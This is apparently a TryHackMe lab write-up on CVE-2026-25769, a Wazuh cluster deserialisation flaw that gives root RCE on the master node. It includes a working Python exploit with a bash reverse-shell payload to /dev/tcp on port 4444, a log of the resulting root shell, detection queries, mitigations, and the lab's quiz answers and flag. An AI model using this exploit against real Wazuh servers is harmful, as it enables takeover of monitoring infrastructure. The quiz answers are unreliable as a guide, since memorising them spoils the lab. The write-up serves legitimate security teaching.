Wazuh: CVE-2026-25769 (TryHackMe)

Introduction
Wazuh(opens in new tab) is a free and open-source security platform used for threat prevention, detection, and response. It is widely deployed across enterprises as a Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) solution. One of its core capabilities is a cluster architecture in which a master node coordinates one or more worker nodes to distribute workloads across large environments.
Consider a scenario where your organisation relies on Wazuh to monitor every server, endpoint, and network device. Every alert, every log, every detection rule flows through the master node. Now imagine an attacker gains access to a single worker node and, from there, executes arbitrary commands on the master with root privileges. That is exactly what CVE-2026-25769 allows.
Wazuh cluster representation.In March 2026, the Hakai Security Research Team(opens in new tab) discovered a critical Remote Code Execution (RCE) vulnerability in the Wazuh cluster communication protocol. The flaw exists in how the master node deserialises JSON messages from worker nodes. Because the deserialisation function imports and executes arbitrary Python modules without any allowlist, a compromised worker can instruct the master to run any system command. The vulnerability was reported through GitHub Security Advisories and assigned:
Severity: Critical
CVSS Score: 9.1
CVE-ID: CVE-2026-25769
CWE: CWE-502 (Deserialization of Untrusted Data)
Affected Versions: 4.0.0 through 4.14.2
Patched Version: 4.14.3
Learning Objectives
Understand how Wazuh cluster communication works between master and worker nodes
Exploit CVE-2026-25769 to achieve RCE on the master node from a compromised worker
Understand insecure deserialisation in Python's json.loads() with custom object hooks
Learn detection and mitigation strategies for this class of vulnerability
Prerequisites
Protocols and Servers
Wazuh
OWASP Top 10 2025: Application Design Flaws
Technical Background
Wazuh Cluster Architecture
Wazuh deployments running in cluster mode use a master/worker architecture. Workers connect to the master over TCP port 1516. All communication between nodes is encrypted using a shared Fernet (opens in new tab)key defined in the cluster configuration file (ossec.conf). This encryption ensures that only nodes with the correct key can exchange messages. However, once a node is authenticated, the master implicitly trusts all content it receives, and this is where the problem lies.
The master node exposes a Distributed API (DAPI)(opens in new tab) that enables workers to submit processing requests. These requests are serialised as JSON and deserialised on the master side using Python's json.loads() with a custom object_hook.
The Vulnerable Function
The vulnerability is located in framework/wazuh/core/cluster/common.py in the as_wazuh_object() function (lines 1830-1866). This function is registered as the object_hook parameter in json.loads(), which means every JSON object deserialised from cluster messages passes through it for custom transformation.
When the function encounters a JSON object containing the _callable_ key, it performs the following operations without any validation:
Reads the module value from user-controlled input
Calls
import_module()to dynamically import the specified module with no allowlistUses
getattr()to retrieve any function from the imported moduleReturns the function reference, which is later executed by the caller
Let's look at the vulnerable code path:
# framework/wazuh/core/cluster/common.py:1839-1848
def as_wazuh_object(dct: Dict):
try:
if '__callable__' in dct:
encoded_callable = dct['__callable__']
funcname = encoded_callable['__name__']
if '__wazuh__' in encoded_callable:
wazuh = Wazuh()
return getattr(wazuh, funcname)
else:
qualname = encoded_callable['__qualname__'].split('.')
classname = qualname[0] if len(qualname) > 1 else None
module_path = encoded_callable['__module__'] # NO VALIDATION
module = import_module(module_path) # ARBITRARY IMPORT
if classname is None:
return getattr(module, funcname) # RETURNS ARBITRARY FUNCTION
else:
return getattr(getattr(module, classname), funcname)
Notice how module_path is read directly from the incoming JSON payload and passed straight to import_module(). There is no check on which modules are allowed. An attacker can specify subprocess, os, shutil, or any other Python module available on the system.
The Execution Point The deserialised function is executed in framework/wazuh/core/cluster/dapi/dapi.py. At line 705, the incoming request is deserialised:
# Line 705: Deserialisation with vulnerable hook
request = json.loads(request, object_hook=c_common.as_wazuh_object)
# Line 248: Execution of deserialized function
data = f(**f_kwargs) # f = subprocess.getoutput, f_kwargs = {"cmd": "COMMAND"}
If the attacker crafts a payload where f resolves to subprocess.getoutput and f_kwargs contains {"cmd": "id"}, the master will execute subprocess.getoutput(cmd="id") as root.
The Attack Flow
Let's walk through the complete attack chain step by step:
The attacker compromises a worker node (via initial access, insider threat, or supply chain attack)
The worker already has the shared Fernet key for cluster communication
The attacker sends a malicious DAPI request via
LocalClient.execute()The message is encrypted with the cluster key and sent over TCP to the master on port
1516The master's
APIRequestQueue.run()receives and deserialises the messageas_wazuh_object()processes the_callable_key, imports subprocess, and returns subprocess.getoutputDistributedAPI.run_local()callssubprocess.getoutput(cmd="...")with root privilegesThe attacker's command executes on the master node
The root cause is twofold: the master trusts all authenticated worker messages without validating the content, and the as_wazuh_object() function has no module allowlist restricting which Python modules can be imported during deserialisation.
Answer the questions below
What is the name of the Python file containing the vulnerable as_wazuh_object() function?
common.pyWhat Python function is used to dynamically load modules from the module field without validation?
import_moduleWhat encryption scheme is used to protect cluster communication between worker and master?
FernetOn which TCP port does the master node listen for cluster communication?
1516
Exploitation
In this task, we will exploit a vulnerable Wazuh cluster, craft the malicious payload, and execute it from the worker to achieve RCE on the master. The lab environment simulates a real-world deployment with a master and worker node sharing a cluster key.
Environment Setup
In the attached VM, we have a Dockerised cluster with two containers running wazuh/wazuh-manager:4.9.2. The master node runs at 172.28.0.10 and the worker at 172.28.0.11. Both share the cluster key WeKnowTryHackMeIsTheBestPlatform configured in their respective ossec.conf files.
Cluster Configuration The master node configuration (`master.xml) defines the cluster name, node type, shared key, and bind address:
<ossec\_config> <jsonout\_output>yes</jsonout\_output> secure1514tcp thm <node\_name>master</node\_name> <node\_type>master</node\_type> WeKnowTryHackMeIsTheBestPlatform 1516 <bind\_addr>0.0.0.0</bind\_addr> wazuh-master no </ossec\_config>
The worker configuration (worker.xml) mirrors this but sets node\_type to worker and node\_name to worker01. Both share the same key value, which is what allows the worker to authenticate with the master.
Starting the Cluster
In the attached machine, open the terminal and issue the following command to confirm the cluster configuration:
ubuntu@tryhackme:~/$ sudo docker exec master /var/ossec/bin/cluster_control -l
NAME TYPE VERSION ADDRESS
master master 4.9.2 wazuh-master
worker01 worker 4.9.2 172.28.0.11
The output confirms that worker01 has successfully connected to the master. The cluster is ready for exploitation.
Preparing the Payload
To prepare the payload, we simply craft a malicious JSON object that abuses Wazuh’s unsafe deserialisation mechanism. By specifying a callable pointing to Python’s subprocess.getoutput, we can force the master node to execute arbitrary system commands. We then include our desired command in f_kwargs and set request_type to local_master so it executes directly on the master. Let's examine the payload structure:
{
"f": {
"__callable__": {
"__name__": "getoutput",
"__module__": "subprocess",
"__qualname__": "getoutput"
}
},
"f_kwargs": {
"cmd": "whoami > /tmp" #any command that we want to try
},
"request_type": "local_master"
}
When the master receives and deserialises this payload:
as_wazuh_object()encounters the__callable__key inside the f fieldIt reads
__module__as subprocess and callsimport_module("subprocess")It reads name as getoutput and calls getattr(subprocess, "getoutput")
The DAPI framework then calls
subprocess.getoutput(cmd="id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF")The command runs on the master node with root privileges
The request_type is set to `local_master, which tells the DAPI framework to execute the function locally on the master rather than forwarding it to another node.
Exploit Script
To exploit the script, we will be using a slightly modified version as shared by HakaiSecurity(opens in new tab). In the attached VM, create a file poc.py and copy the following code. It dynamically loads Wazuh's `LocalClient module to send the payload through the cluster's own communication channel:
#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(PAYLOAD)}")
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
print("Check the listener running on MACHINE_IP:4444 to confirm the shell")
asyncio.run(main())
The script uses load_module() to dynamically import Wazuh's LocalClient class from the framework directory. This avoids Python import path issues when running inside the container. It then creates a LocalClient instance, connects to the local cluster socket, and sends the payload using the dapi command.
Running the Exploit
To run the exploit, we will first start the listener by running the command nc -nvlp 4444 in the current terminal. Next, open a new terminal tab; we will first copy the poc.py to the worker instance and then execute it using the following command:
ubuntu@tryhackme:~/$ sudo docker cp poc.py worker:/exploit/poc.py
Successfully copied 2.56kB to worker:/exploit/poc.py
ubuntu@tryhackme:~/$ sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py
The script sends the malicious payload to the master through the encrypted cluster channel. Once you execute the code, your listener will catch a root shell, as shown below:
bash-5.2$ uname -a
uname -a
Linux wazuh-master 6.8.0-1016-aws #17-Ubuntu SMP Mon Sep 2 13:48:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-5.2$
Answer the questions below
What Python module does the exploit payload specify in the module field to achieve command execution?
subprocessWhat is the request_type value used in the exploit payload to target the master node?
local_master
What are the contents of root.txt on the master server? THM{WAZUH_RCE_COMPLETED
sudo docker exec master /var/ossec/bin/cluster_control -l
NAME TYPE VERSION ADDRESS
master master 4.9.2 wazuh-master
worker01 worker 4.9.2 172.28.0.11
poc.py
#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.48.188.16/4444 0>&1'"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(PAYLOAD)}")
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
print("Check the listener running on 10.48.188.16:4444 to confirm the shell")
asyncio.run(main())
sudo docker exec master /var/ossec/bin/cluster_control -l
NAME TYPE VERSION ADDRESS
master master 4.9.2 wazuh-master
worker01 worker 4.9.2 172.28.0.11
ubuntu@tryhackme:~$ nano poc.py
ubuntu@tryhackme:~$ sudo docker cp poc.py worker:/exploit/poc.py
Successfully copied 2.56kB to worker:/exploit/poc.py
ubuntu@tryhackme:~$ sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py
Sending: {"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}}, "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.48.188.16/4444 0>&1'"}, "request_type": "local_master"}
Check the listener running on 10.48.188.16:4444 to confirm the shell
nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 172.28.0.10 45812
bash: cannot set terminal process group (605): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ uname -a
uname -a
Linux wazuh-master 6.8.0-1016-aws #17-Ubuntu SMP Mon Sep 2 13:48:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-5.2$ ls
ls
bin
boot
check_repository.sh
dev
etc
home
init
lib
lib64
libexec
local
media
mnt
opt
permanent_data.env
proc
root
root.txt
run
sbin
srv
sys
tmp
usr
var
wazuh-config-mount
bash-5.2$ cat root.txt
cat root.txt
THM{WAZUH_RCE_COMPLETED}
Detection
Detecting this exploit is challenging because it uses the same encrypted cluster communication channel as legitimate traffic. The malicious payload is structurally identical to normal DAPI requests; only the deserialised function's content differs. However, there are several indicators we can monitor at both the network and host levels.
Network-Level Detection
Since the exploit travels over the standard cluster port (1516), traditional network monitoring will not flag the traffic itself. However, we can look for anomalies:
Unusual volume of DAPI requests from a single worker node
Cluster communication from unexpected source IP addresses
Connections to the master port 1516 from non-worker addresses
Host-Level Detection
The most reliable detection happens on the master node itself. After successful exploitation, the attacker's commands execute as child processes of the Wazuh cluster daemon. We can look for processes spawned by `wazuh-clusterd that fall outside normal operational patterns.
Consider the following SIEM query to detect anomalous child processes:
process.parent.name:"wazuh-clusterd" AND NOT process.name:("python3" OR "wazuh-\*")
Additional host-level indicators to monitor:
Unexpected files created by the
wazuh user (e.g., files in/tmp/) - Reverse shell connections originating from the master nodeNew cron jobs or persistence mechanisms installed under the Wazuh service account
Unusual Python module imports in Wazuh process memory or logs
Log-Based Detection
Monitor the Wazuh master logs for entries indicating unexpected function calls. While the cluster does not log deserialised function names by default, any errors resulting from failed exploit attempts may appear in /var/ossec/logs/cluster.log. Look for stack traces referencing as_wazuh_object` or unexpected module imports.
Mitigation
The primary fix is straightforward: upgrade Wazuh to version 4.14.3 or later. This version introduces an allowlist for modules allowed in as_wazuh_object(), blocking arbitrary imports during deserialisation.
If an immediate upgrade is not possible, consider the following interim measures:
Restrict network access to port
1516so only known worker IP addresses can connectMonitor and audit worker node integrity to detect compromise early
Implement additional network segmentation between the worker and master nodes
Rotate cluster keys regularly and immediately after any suspected compromise
For long-term hardening:
Apply the principle of least privilege to the Wazuh service account
Enable audit logging for all cluster communication events
Deploy file integrity monitoring on the master node itself
Review and restrict which users and processes can interact with `LocalClient
Answer the questions below
Which patched Wazuh version fixes CVE-2026-25769? 4.14.3
Conclusion
In this room, we covered:
How Wazuh cluster communication works between master and worker nodes using Fernet-encrypted messages over TCP port
1516The insecure deserialisation flaw in the `as_wazuh_object() function that allows arbitrary Python module imports and function execution without any allowlist validation
Step-by-step exploitation of
CVE-2026-25769using a crafted JSON payload to achieve root-level RCE on the master node from a compromised workerDetection strategies, including SIEM queries for anomalous child processes and host-level indicators of compromise
Mitigation through upgrading to the Wazuh version
4.14.3and network hardening measures
This vulnerability highlights a fundamental risk in trust architectures. The master node implicitly trusted all deserialised content from authenticated workers without validating which functions could be invoked. A single compromised worker was enough to take full control of the entire security monitoring infrastructure. As we discussed in the technical background, the `as_wazuh_object() function was designed for convenience, allowing remote function calls between cluster nodes but the absence of a module allowlist turned that convenience into a critical attack surface.
Let us know what you think about this room on our Discord server(opens in new tab) or X account(opens in new tab). If you liked this room, feel free to look at our Insecure Deserialisation room, which covers key techniques to exploit an insecure deserialisation vulnerability in a web app.



